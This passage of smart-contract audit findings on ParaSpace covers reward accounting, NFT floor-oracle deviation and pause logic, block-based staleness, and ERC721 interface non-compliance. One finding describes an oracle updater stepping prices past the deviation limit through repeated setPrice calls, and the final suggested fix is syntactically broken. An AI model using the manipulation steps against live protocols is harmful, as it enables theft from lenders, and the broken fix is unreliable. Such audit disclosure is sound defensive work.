As a result, getTokenIdStakingAmount() returns a value lower than the correct user balance. This function is used in PTokenSApe.sol's balanceOf function, as this type of PToken is supposed to reflect the user's current balance in ape staking.

When user unstakes their ape tokens through executeUnstakePositionAndRepay, they will receive their fair share of rewards.It will call ApeCoinStaking's _withdrawPairNft which will claim rewards also for BAKC tokens. However, because balanceOf() shows a lower value, the rewards not count as collateral for user's debt, which is a major issue for lending platforms.

Impact

Rewards are not accounted for properly in NTokenApeStaking contracts, limiting user's collateral.

Tools Used

Manual audit

Recommended Mitigation Steps

Balance calculation should include pendingRewards from BAKC tokens if they exist.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L365

Vulnerability details

Description

NFTFloorOracle retrieves ERC721 prices for ParaSpace. maxPriceDeviation is a configurable parameter, which limits the change percentage from current price to a new feed update. We can see how priceDeviation is calculated and compared to maxPriceDeviation in _checkValidity:

priceDeviation = _twap > _priorTwap
    ? (_twap * 100) / _priorTwap
    : (_priorTwap * 100) / _twap;
// config maxPriceDeviation as multiple directly(not percent) for simplicity
if (priceDeviation >= config.maxPriceDeviation) {
    return false;
}
return true;

The large number minus small number must be smaller than maxPriceDeviation. However, the way it is calculated means price decrease is much more sensitive and likely to be invalid than a price increase.

10 -> 15, priceDeviation = 15 / 10 = 1.5 15 -> 10, priceDeviation = 15 / 10 = 1.5

From 10 to 15, price rose by 50%. From 15 to 10, price dropped by 33%. Both are the maximum change that would be allowed by deviation parameter. The effect of this behavior is that the protocol will be either too restrictive in how it accepts price drops, or too permissive in how it accepts price rises.

Impact

Oracle does not treat upward and downward price movement the same in validity checks, causing safety issues in oracle usage.

Proof of Concept

Tools Used

Manual audit

Recommended Mitigation Steps

Use a percentage base calculation for both upward and downward price movements.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L236

Vulnerability details

Description

NFTFloorOracle retrieves ERC721 prices for ParaSpace. It is pausable by admin on a per asset level using setPause(asset, flag). setPrice will not be callable when asset is paused:

function setPrice(address _asset, uint256 _twap)
    public
    onlyRole(UPDATER_ROLE)
    onlyWhenAssetExisted(_asset)
    whenNotPaused(_asset)

However, getPrice() is unaffected by the pause flag. This is really dangerous behavior, because there will be 6 hours when the current price treated as valid, although the asset is clearly intended to be on lockdown.

Basically, pauses are only forward facing, and whatever happened is valid. But, if we want to pause an asset, something fishy has already occured, or will occur by the time setPause() is called. So, "whatever happened happened" mentality is overly dangerous.

Impact

Pausing assets only affects future price updates, not previous malicious updates.

Tools Used

Manual audit

Recommended Mitigation Steps

Add whenNotPaused to getPrice() function as well.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L370

Vulnerability details

Description

NFTFloorOracle retrieves ERC721 prices for ParaSpace. maxPriceDeviation is a configurable parameter, which limits the change percentage from current price to a new feed update.

function _checkValidity(address _asset, uint256 _twap)
    internal
    view
    returns (bool)
{
    require(_twap > 0, "NFTOracle: price should be more than 0");
    PriceInformation memory assetPriceMapEntry = assetPriceMap[_asset];
    uint256 _priorTwap = assetPriceMapEntry.twap;
    uint256 _updatedAt = assetPriceMapEntry.updatedAt;
    uint256 priceDeviation;
    //first price is always valid
    if (_priorTwap == 0 || _updatedAt == 0) {
        return true;
    }
    priceDeviation = _twap > _priorTwap
        ? (_twap * 100) / _priorTwap
        : (_priorTwap * 100) / _twap;
    // config maxPriceDeviation as multiple directly(not percent) for simplicity
    if (priceDeviation >= config.maxPriceDeviation) {
        return false;
    }
    return true;
}

The issue is that it only mitigates a massive change in a single transaction, but attackers can still just call setPrice() and update the price many times in a row, each with maxDevicePrice in price change.

The correct approach would be to limit the TWAP growth or decline over some timespan. This will allow admins to react in time to a potential attack and remove the bad price feed.

Impact

Price can deviate by much more than maxDeviationRate

Proof of Concept

maxDeviationRate = 150 Currently 3 oracles in place, their readings are [1, 1.1, 2] Oracle #2 can call setPrice(1.5), setPrice(1.7), setPrice(2) to immediately change the price from 1.1 to 2, which is almost 100% growth, much above 50% allowed growth.

Tools Used

Manual audit

Recommended Mitigation Steps

Code already has lastUpdated timestamp for each oracle. Use the elapsed time to calculate a reasonable maximum price change per oracle.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L12

Vulnerability details

Description

NFTFloorOracle is in charge of answering price queries for ERC721 assets. EXPIRATION_PERIOD constant is the max amount of blocks allowed to have passed for the reading to be considered up to date:

uint256 diffBlock = currentBlock - priceInfo.updatedAt;
if (diffBlock <= config.expirationPeriod) {
    validPriceList[validNum] = priceInfo.twap;
    validNum++;
}

We can see it is set to 1800, which is intended to be 6 hours with 12 second block time assumption:

//expirationPeriod at least the interval of client to feed data(currently 6h=21600s/12=1800 in mainnet)
//we do not accept price lags behind to much
uint128 constant EXPIRATION_PERIOD = 1800;

The issue is that different blockchains have wildly different block times. BSC has one every 3 seconds, while Avalanche has a new block every 1 sec. Also the block product rate may be subject to future changes. Therefore, readings may be considered stale much faster than intended on non-mainnet chains.

The correct EVM compatible way to check it is using the block.timestamp variable. Make sure the difference between current and previous timestamp is under 6 * 3600 seconds.

Paraspace docs show they are clearly intending to deploy in multiple chains so it's very relevant.

Impact

Oracle will become invalid much faster than intended on non-mainnet chains

Tools Used

Manual audit

Recommended Mitigation Steps

Use block.timestamp to measure passage of time.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/tokenization/base/MintableIncentivizedERC721.sol#L572

Vulnerability details

Description

MintableIncentivizedERC721 implements supportsInterface as below:

/**
 * @dev See {IERC165-supportsInterface}.
 */
function supportsInterface(bytes4 interfaceId)
    external
    view
    virtual
    override(IERC165)
    returns (bool)
{
    return
        interfaceId == type(IERC721Enumerable).interfaceId ||
        interfaceId == type(IERC721Metadata).interfaceId;
}

The issue is that it will only support the ERC721 extensions, and does not comply with ERC721 itself. From EIP721: "Every ERC-721 compliant contract must implement the ERC721 and ERC165 interfaces (subject to “caveats” below):"

/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
///  Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface ERC721 /* is ERC165 */ {
...

interface IDs are calculating by XORing together all the function signatures in the interface. Therefore, returning true for IERC721Enumerable and IERC721Metadata will not implicitly include IERC721.

Impact

Any contract that will make sure it is dealing with an ERC721 compliant NFT will not interoperate with MintableIncentivizedERC721 and NTokens. Marketplaces and any NFT facilities will not operate with NTokens.

Proof of Concept

The test below is a standalone POC to show IncentivizedERC721 does not comply with ERC721. It is quickly checkable in Remix, copy deployment address of IncentivizedERC721 to the TestCompliance calls.

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.10;
interface IERC721 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed tokenId
    );

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(
        address indexed owner,
        address indexed approved,
        uint256 indexed tokenId
    );

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);
    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index)
        external
        view
        returns (uint256);
    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

contract IncentivizedERC721 is IERC165{

    function supportsInterface(bytes4 interfaceId)
    external
    view
    virtual
    override(IERC165)
    returns (bool)
    {
        return
            interfaceId == type(IERC721Enumerable).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId;
    }

}

// Hard coded values taken from https://eips.ethereum.org/EIPS/eip-721
contract TestCompliance {
    function doesSupportERC721Enumerable(IERC165 token) view external returns (bool) {
        return token.supportsInterface(0x780e9d63);
    }

    function doesSupportERC721Metadata(IERC165 token) view external returns (bool) {
        return token.supportsInterface(0x5b5e139f);
    }

    function doesSupportERC721(IERC165 token) view external returns (bool) {
        return token.supportsInterface(0x80ac58cd);
    }
}

Tools Used

Manual audit

Recommended Mitigation Steps

Change supportedInterface function:

/**
 * @dev See {IERC165-supportsInterface}.
 */
function supportsInterface(bytes4 interfaceId)
    external
    view
    virtual
    override(IERC165)
    returns (bool)
{
    return
        interfaceId == type(IERC721Enumerable).interfaceId ||
        interfaceId == type(IERC721Metadata).interfaceId || ;
		interfaceId == type(IERC721).interfaceId || 
}